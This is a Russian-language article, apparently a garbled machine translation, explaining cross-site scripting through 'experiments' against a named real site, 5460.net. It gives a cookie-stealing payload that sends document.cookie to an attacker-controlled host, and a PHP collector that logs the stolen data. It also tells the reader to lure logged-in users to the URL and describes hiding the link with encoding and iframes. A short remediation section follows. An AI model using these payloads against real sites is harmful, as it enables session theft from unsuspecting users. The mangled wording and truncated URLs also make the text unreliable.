В этой статье в основном представлены причины уязвимостей выполнения сценария. Поскольку в Интернете не существует информации об уязвимости выполнения сценария, обычно не существует подробного введения. Я надеюсь, что эта статья сможет представить эти знания более подробно. Ниже приведены причины уязвимостей по выполнению сценариев поперечного сайта, составленных редактором неправильного нового технологического канала. Давайте перейдем к следующему, чтобы узнать больше!
Причины уязвимостей по выполнению сценария [причины уязвимостей]
Причина очень проста, потому что программа CGI не фильтровала и не преобразует HTML -код в переменных, представленных пользователем.
【Форма уязвимости】
Форма, упомянутая здесь, действительно относится к форме ввода CGI, которая в основном делится на два типа:
1. Покажите ввод
2. Неявный ввод
Вход отображения явно требует, чтобы пользователь вводил данные, в то время как неявный ввод не требует, чтобы пользователь вводил данные, но пользователь может вмешиваться, введя данные.
Вход отображения можно разделить на два типа:
1. Вход завершен, и результат сразу же выводит
2. Ввод завершается и хранится в текстовом файле или базе данных, а затем результат будет выходить.
Примечание: последний может сделать ваш сайт неузнаваемым! :(
В дополнение к некоторым нормальным ситуациям, неявный ввод также может быть реализован с помощью программы Server или CGI для обработки информации об ошибках.
【Опасности лазеек】
То, что все больше всего обеспокоены, это, вероятно, эта проблема. Следующий список может быть не всеобъемлющим или систематическим, но я думаю, что он должен быть более типичным.
1. Получите конфиденциальные данные в других пользовательских файлах cookie
2. Информация о конкретной странице блока
3. Информация о кованой странице
4. Атака отказа в обслуживании
5. прорваться через различные настройки безопасности внешних и внутренних сетей
6. В сочетании с другими уязвимостями, изменение настройки системы, просмотр системных файлов, выполнения системных команд и т. Д.
7. Другое
Вообще говоря, вышеуказанные опасности часто сопровождаются деформацией страницы. Так называемая уязвимость выполнения сценария сценария означает, что эффект атаки достигается с помощью веб-сайтов других людей, что означает, что этот вид атаки может в определенной степени скрывать личность.
【Метод использования】
Ниже мы продемонстрируем различные опасности, выше, посредством конкретных примеров, которые должны быть более объяснительными и легкими для понимания. Для более четкой структуры мы проведем эксперимент для каждой опасности.
Чтобы хорошо провести эти эксперименты, нам нужно программное обеспечение для захвата пакета. Я использую радужную оболочку. Конечно, вы можете выбрать другое программное обеспечение, такое как NetXray или что -то в этом роде. Для конкретных методов использования, пожалуйста, обратитесь к соответствующей помощи или руководству.
Кроме того, одна вещь, которую нужно понять, заключается в том, что до тех пор, пока сервер возвращает информацию, представленную пользователем, может быть уязвимость для выполнения сценария поперечного сайта.
Хорошо, все готово, давайте начнем экспериментировать! :)
Эксперимент 1: Получить конфиденциальную информацию в файлах cookie других пользователей
Давайте возьмем знаменитый сайт для записи студентов 5460.net в качестве примера для иллюстрации. Пожалуйста, выполните следующие шаги:
1. Введите домашнюю страницу http://www.5460.net/
2. Введите имя пользователя "<h1>" и отправьте его. Сервер возвращает информацию, которая содержит представление пользователя «<h1>».
3. Проанализируйте данные о сборе пакетов и получите фактический запрос:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
4. Создайте представление с целью отображения информации об пользователях cookie:
http://www.5460.net/txl/login/login.pl?username=<script> alert(document.cookie)</ script> & passwd = & ok.x = 28 & ok.y = 6
5. Если вышеуказанный запрос получает ожидаемый эффект, мы можем попробовать следующий запрос:
http://www.5460.net/txl/login/login.pl?username=<script>window.open("http://www.notfound.org/ info.php?
Среди них http://www.notfound.org/info.php - это сценарий на хосте, который вы можете контролировать. Его функция состоит в том, чтобы получить информацию о строке запроса, а содержимое следующее:
<? Php
$ info = getenv ("Query_string");
if ($ info) {
$ fp = fopen ("info.txt", "a");
fwrite ($ fp, $ info. "/n");
Fclose ($ fp);
}
Заголовок («Местоположение: http://www.5460.net»);
Примечание: «%2b» - это URL -кодирование «+», и здесь можно использовать только «%2b», потому что «+» будет обрабатываться как пространство. Следующие заголовки предназначены исключительно для увеличения сокрытия.
6. Если приведенный выше URL -адрес может работать правильно, следующим шагом является побуждение пользователей, входящих в 5460.net для доступа к URL -адресу, и мы можем получить конфиденциальную информацию в файле cookie пользователя.
7. То, что вы хотите сделать позже, зависит от вас!
Эксперимент 2: Информация о конкретной странице блокировки
В качестве примера мы все еще принимаем 5460.net, вот проблематичная программа CGI:
http://www.5460.net/txl/liuyan/liuyansql.pl
Программа CGI принимает три переменные, предоставленные пользователем, а именно NID, CSID и CNAME, но не проверяет какие -либо переменные CNAME, представленные пользователем. Кроме того, программа CGI принимает значение CNAME как часть выходной страницы. Пользователи 5460.net должны быть более ясными, что ваше имя находится в правом нижнем углу сообщения, верно?
Поскольку у нас есть вышеуказанные условия, мы можем сделать следующие выводы:
Пользователь может «заблокировать» все сообщения между двумя сообщениями!
Конечно, «блокировка», о котором мы говорим, это не «удаление», и сообщения пользователя все еще существуют, но из -за характеристик HTML мы не можем видеть его со страницы. Конечно, если вам нравится просматривать исходный код, он бесполезен, но те из нас, кто изучает безопасность CGI, говорят, сколько людей смотрят на исходный код HTML, если вам есть чем заняться или нет?
По разным причинам я не буду объявлять здесь конкретные детали, просто знаю принципы.
Примечание. Если вы думаете об этом внимательно, мы можем не только блокировать сообщения, но и оставить сообщения анонимно, верно?
Эксперимент 3: Информация о забывающей странице
Если вы понимаете приведенный выше эксперимент, нет необходимости проводить этот эксперимент. Основные принципы одинаковы, но для реализации это просто немного хлопотно.
Эксперимент 4: Атака отказа в обслуживании
Теперь следует известно, что мы можем в некоторой степени контролировать поведение серверов с уязвимостью выполнения сценария. В этом случае мы можем управлять сервером для выполнения некоторых ресурсов. Например, запуск сценариев JavaScript, которые содержат мертвые петли или открытые бесконечные окна и т. Д. Таким образом, пользовательская система, которая обращается к URL, может замедлиться или даже сбой. Точно так же мы также можем встроить в него несколько сценариев, чтобы попросить сервер запросить ресурсы на других серверах. Если доступ к ресурсам потребляет больше ресурсов, и есть больше посетителей, доступ к серверу также может быть отказана в сервисе, и он считает, что атака отказа в обслуживании инициируется доступом к серверу, чтобы идентификация была скрыта.
Эксперимент 5: прорвать различные настройки безопасности внешних и внутренних сетей
Это должно быть легко понять. Вообще говоря, наши браузеры устанавливают разные уровни безопасности для разных регионов. Например, для области интернета вы можете не разрешить выполнение JavaScript, но в зоне интрасети вы можете разрешить выполнение JavaScript. Вообще говоря, уровень безопасности первого выше, чем у последнего. Таким образом, в общем, другие не могут атаковать вас, выполняя злонамеренные сценарии JavaScript, но если на сервере есть уязвимость выполнения сценария поперечного сайта на той же интрасети, что и у вас, у злоумышленника есть возможность воспользоваться им, потому что сервер расположен во интрасетной области.
Эксперимент 6: в сочетании с другими уязвимостями, изменение настройки системы, просмотр системных файлов, выполнения системных команд и т. Д.
Поскольку существует слишком много уязвимостей, связанных с браузером, существует много уязвимостей, которые можно сочетать с уязвимостями выполнения сценариев поперечного сайта. Я думаю, что все должны быть очень ясны по этим вопросам. Уязвимость модификации названий IE несколько раз, уязвимость неправильных команд исполнения типа MIME и множество червей - все хорошие примеры.
Для получения дополнительных примеров, пожалуйста, обратитесь к следующей ссылке:
Internet Explorer Pop-Up Объект объекта ошибка
http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html
Internet Explorer JavaScript Modeless Popup Local Local уязвимости в обслуживании
http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html
Msie6 может читать локальные файлы
http://www.xs4all.nl/~jkuperus/bug.htm
Msie может загрузить и автоматически запустить прогам
http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html
Расширения файлов поддельные в диалоговом окне MSIE Скачать
http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html
Другой IE Cookie Cooling Cheting Bug (MS01-055)
http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html
Бюллетень безопасности Microsoft MS01-055
http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html
Серьезный недостаток безопасности в Microsoft Internet Explorer - зона.
http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html
Неправильный заголовок MIME может привести к тому, что IE выполняет вложение электронной почты
http://www.kriptopolis.com/cua/eml.html
Роль уязвимости выполнения сценария сценария здесь состоит в том, чтобы скрыть личность реального злоумышленника.
Эксперимент 7: Другие
На самом деле, этот тип проблемы имеет мало общего с уязвимостью выполнения сценария, но все еще необходимо упомянуть об этом здесь. Суть этой проблемы заключается в том, что программа CGI не фильтровала отправленные данные пользователя, а затем выполняет обработку вывода. Например, программа CGI на сервере, которая поддерживает выходы SSI, выводимые пользователями, которые могут привести к выполнению инструкций SSI независимо от метода ввода данных. Конечно, это выполняется на стороне сервера, а не на стороне клиента. Фактически, языки CGI, такие как ASP, PHP и Perl, могут вызвать эту проблему.
【Скрытые методы】
Ради времени я буду говорить в основном о теории здесь. Я считаю, что это не сложно понять. Если есть действительно проблема, то перейдите в эту книгу, чтобы прочитать ее.
1. Кодирование URL
Сравнивать:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
Как вы думаете, какой из них более скрыт? !
2. Скрыть под другими объектами
Лучше решить скрыть ссылку под кнопкой, чем дать кому -то ссылку напрямую?
3. Встроен в страницу
Гораздо проще позволить другим получить доступ к адресу (обратите внимание, что адрес здесь отличается от URL, упомянутого выше), чем позволить другим нажать кнопку? С помощью iframe вы можете сделать эту атаку более скрытой.
4. рациональное использование событий
Рациональное использование событий может быть обошрено в некоторых случаях ограничения ввода программ CGI, такие как уязвимость выполнения сценария поперечного сайта несколько дней назад.
【Меры предосторожности】
Вообще говоря, нет никаких проблем в непосредственном выполнении атак, таких как <script> Alert (document.cookie) </script>, но иногда программы CGI обрабатывают пользовательские ввод, такие как включение '' или ''. В настоящее время нам нужно использовать некоторые хитрости, чтобы обойти эти ограничения.
Если вы знакомы с языком HTML, обход этих ограничений не должен быть проблемой.
【Решение】
Чтобы не подвергаться атаке с помощью уязвимостей по выполнению сценария поперечного сценария, как программисты, так и пользователи должны работать вместе:
программист:
1. Фильтра или преобразование HTML-кода в данных, представленных пользователям
2. Ограничьте длину данных, представленных пользователями
пользователь:
1. Не легко получить доступ к ссылкам
2. Отключить браузеры от запуска JavaScript и ActiveX Code
Приложение: расположение настройки модификации общих браузеров:
Internet Explorer:
Инструменты -> Интернет -параметры -> Безопасность -> Интернет -> Пользовательские уровни
Инструменты -> Интернет -параметры -> Безопасность -> Интранет -> Пользовательские уровни
Опера:
Файл -> Быстрые параметры -> разрешить Java
Файл -> Быстрые параметры -> Разрешить плагины использовать
File -> Quick Parameters -> Разрешить JavaScript
【ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ】
В: Где существует уязвимость выполнения сценария поперечного сценария?
A: Пока это программа CGI и до тех пор, пока пользователю разрешается вводить, может быть уязвимость выполнения сценария поперечного сайта.
В: Могут ли уязвимости для выполнения сценариев поперечного сценария украсть только печенье других людей?
A: Конечно, нет! Весь HTML-код может быть сделан, могут быть выполнены уязвимости для выполнения сценариев поперечного сайта.
Приведенная выше статья является причиной уязвимостей по выполнению сценария. Я считаю, что у всех есть определенное понимание. Если вы хотите узнать больше технической информации, пожалуйста, продолжайте обращать внимание на неправильный новый канал технологии!